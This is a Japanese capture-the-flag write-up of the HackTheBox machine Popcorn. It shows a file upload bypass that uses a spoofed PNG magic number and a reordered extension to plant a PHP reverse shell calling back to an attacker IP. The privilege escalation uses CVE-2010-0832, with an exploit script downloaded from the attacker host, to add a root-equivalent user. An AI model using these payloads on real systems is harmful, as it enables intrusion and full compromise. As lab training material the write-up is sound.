
Popcorn HTBのWrite-up。高度なディレクトリファジング、Burp Suiteを使用したマジックナンバー/拡張子偽装によるファイルアップロードバイパス、そしてCVE-2010-0832(PAM MOTDファイル改ざん)を利用した権限昇格をカバーしています。
日付: 2026年6月5日
難易度: Easy
プラットフォーム: HackTheBox
主要テクニック: ポート・サービス列挙、ディレクトリファジング(Gobuster)、ファイルアップロード回避、HTTPリクエスト操作(Burp Suite)、リモートコード実行(RCE)、高度なTTYシェル安定化(Python)、ローカルカーネル/PAMエクスプロイト(MOTDファイル改ざん)
まず、65,535 ポートすべてに対して高速 TCP ポートスキャン(-p-)を実行し、開いている入口を特定します。実行速度を最適化するために --min-rate 5000 を使用し、DNS 解決と ping スイープをスキップして監査環境での処理を効率化します。
nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>
最初のスキャンで 2つのポート(ポート 22 (SSH) とポート 80 (HTTP))が開いていることが確実に確認されました。
次に、特定されたポートに対してターゲットを絞った詳細スキャンを実行し、正確なサービスバージョンを特定し、Nmap の標準および基本脆弱性スクリプトを実行します。
nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>
出力から、ターゲット環境に関する重要な情報を抽出します。
OpenSSH 5.1 Debian 6ubuntu2(かなり古い Ubuntu Linux ディストリビューションを示唆)Apache httpd 2.2.12ブラウザで Web アプリケーションと対話する前に、攻撃マシンの /etc/hosts ファイルにターゲット IP アドレスを追加し、ドメインマッピングを整理して内部リダイレクトが適切に解決されるようにします。
<VICTIM_IP> popcorn.htb
次に、gobuster と DirBuster の標準的な中サイズのワードリストを使用して、隠しディレクトリの自動検出を実行します。
gobuster dir -u http://popcorn.htb/ -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt
ファジングフェーズにより、被害者の Web サーバー上で以下のアクセス可能なパスが明らかになりました。
/index(標準のインデックスランディングページ)/test(テストパネルまたは開発情報ファイル)/torrent(トレントファイルのホスティングと共有に特化した完全に機能する Web プラットフォーム)/response(内部応答ページ)/torrent ディレクトリを調査すると、トレント共有 CMS が明らかになりました。アップロード機能とやり取りするために、その場で有効なアカウントを作成してログインします。正当な .torrent ファイルを公開した後、プラットフォームはトレントの詳細を編集し、プロモーション用のスクリーンショット画像をアップロードできるようになります。この特定のフォームが主要な攻撃ベクトルとなります。
リモートコード実行(RCE)を達成するために、Burp Suite (Repeater) を使用してバックエンドの動作を分析しながら、一連のテストフェーズを実行します。
スクリーンショットアップロードリクエストをインターセプトし、ファイル名を exploit.php に変更します。ファイル本体にクラシックなワンライナー webshell を挿入しようと試みます。
<?php system($_GET['cmd']) ?>
結果: Web サーバーは、PHP 命令の最後にセミコロン ; がないために内部実行エラーを返し、実行フローが中断されます。
構文を <?php system($_GET['cmd']); ?> に修正しますが、リクエストは POST(multipart/form-data 使用)で送信されるため、コマンドをヘッダー URL に直接渡そうと試みます(POST /torrent/upload_file.php?cmd=whoami)。
結果: Web サーバーは次のエラーをスローします。
Cannot execute a blank command
分析: ファイルアップロード解析中、バックエンドは URL に存在する GET 変数を完全に無視します。upload_file.php スクリプトはファイルをディスクに書き込みますが、すぐに内部関数を実行しようとします。期待されるボディ変数に何も受信しないため、$_GET['cmd'] は空として処理されます。
ファイルが有効な画像かどうかを検証する基本的な拡張子チェックフィルターをバイパスするために、ファイル名を innocent.php.png に変更し、リバースシェルペイロードをハードコードして外部パラメータに依存しないようにします。
Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
結果: サーバーは成功を示す 200 OK を返します。
Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.
分析: 最初のフィルターはバイパスできましたが、ファイルが厳密に .png 拡張子で終わっているため、Apache サーバーはそれを通常の静的画像として扱います。ブラウジングすると、ブラウザは単に raw バイトをプレーンテキストとして表示します。Apache はファイルを PHP インタープリタに渡すことがなく、Netcat リスナーは接続を受け取ることができません。
サーバーがコード実行をトリガーするために .php 拡張子を解析する必要があることを認識し、拡張子の順序を逆にします(innocent.png.php)。Content-Type: image/png ヘッダーをそのまま保持し、ファイル本体の先頭に PNG シグネチャ(マジックナンバー)PNG を付加して、バックエンドのコンテンツ検証チェックを偽装します。
POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--
結果: Web サーバーはファイルを問題なく受け入れ、末尾の拡張子を処理し、アップロードディレクトリに innocent.php という名前で保存します。
HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.
アップロードスクリプトはファイルをディスクに保存するだけで、アップロード POST リクエストのコンテキスト内では実行しないため、別途呼び出してサーバーに読み取りを強制します。
nc -lvnp 4444
GET リクエストを使用)。http://popcorn.htb/torrent/upload/innocent.php
Apache サーバーはファイルの処理を強制され、PHP タグを検出し、Bash ペイロードを実行します。接続はリスナー上で完全にキャッチされ、www-data ユーザーとしての初期アクセスが付与されます。
シェルを受け取った直後に権限昇格を試みると、深刻な環境制限に直面します。
www-data@popcorn:/$ su root
su: must be run from a terminal
su コマンドは、安全に入力を受け付けるために実際の対話型ターミナル(TTY)を厳密に必要とします。python3 で強制しようとすると、このレガシーボックスにはインストールされていないことが示されます(The program 'python3' is currently not installed)。
この障害を回避するために、マシンに存在する**クラシックな Python バイナリ(Python 2)**を利用し、攻撃マシンのターミナル記述子を再構成します。
# 1. レガシー Python の絶対パスを使用して対話型シェルを起動
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'
# 2. シェルプロセスをバックグラウンドに一時中断
Ctrl + Z
# 3. 攻撃ターミナルでキーボード状態を raw に設定し、Netcat リスナーをフォアグラウンドに戻す
stty raw -echo; fg
# 4. 画面をリフレッシュし、履歴とオートコンプリートをサポートするためにターミナル環境変数をマッピング
reset xterm
export TERM=xterm
export SHELL=bash
被害マシン上で動作している OS ディストリビューションと Linux カーネルバージョンを調査します。
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 i686 GNU/Linux
www-data@popcorn:/$ cat /etc/issue
Ubuntu 9.10 \n \l
オペレーティングシステムは古い Ubuntu リリース(Karmic Koala)を示しており、そのカーネルとコアパッケージには複数の既知のローカル権限昇格の脆弱性が含まれています。
PAM のメッセージ・オブ・ザ・デイ解析における非常に有効なベクトルを特定します(Linux PAM 1.1.0 - MOTD File Tampering Privilege Escalation、CVE-2010-0832 として追跡)。この脆弱性により、ローカルユーザーはローカル SSH 認証アクション中に安全でないシンボリックリンク処理を介して root が所有するファイルを操作できるようになります。
公開エクスプロイトスクリプト 14339.sh を利用して攻撃パスを自動化します。
searchsploit -m linux/local/14339.sh
python3 -m http.server 80
/tmp ディレクトリ(グローバルな読み取り/書き込み/実行権限が付与されている)に移動し、スクリプトをダウンロードして実行可能にします。cd /tmp
wget http://<ATTACKER_IP>/14339.sh -O motd.sh
chmod +x motd.sh
./motd.sh
[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] SSH key removed
[+] Success! Use password toor to get root
スクリプトは正常に実行を完了し、/etc/passwd のローカルユーザーデータベースを直接改ざんします。
エクスプロイトの内部動作により、元の root ユーザーアカウントのパスワードは変更されません。代わりに、/etc/passwd ファイルの末尾にroot 権限を持つ新しいクローンユーザーを注入します。
これは、ユーザーファイルの最終行を読み取ることで確認します。
www-data@popcorn:/tmp$ tail -n 1 /etc/passwd
toor:x:0:0:root:/root:/bin/bash
注: 0:0(UID/GID)構成により、このアカウントは root 管理者と同一の識別パラメーターを付与されます。
パスワード toor を使用して su root を実行すると、元の root アカウントは変更されていないため Authentication failure エラーが出力されますが、安定化された Python TTY シェルを使用すると、カスタムクローンアカウントをターゲットにしてユーザーをスムーズに切り替えることができます。
www-data@popcorn:/tmp$ su toor
Password: toor
パスワード(toor)を入力すると、ターミナルプロンプトが瞬時に最上位のハッシュ識別子(#)に変換されます。
root@popcorn:/tmp# whoami
toor
root@popcorn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
ターゲットマシンは完全に侵害されました。これで、必要なフラグハッシュを収集するための管理アクセス権を保持しています。
/home/george/user.txt/root/root.txt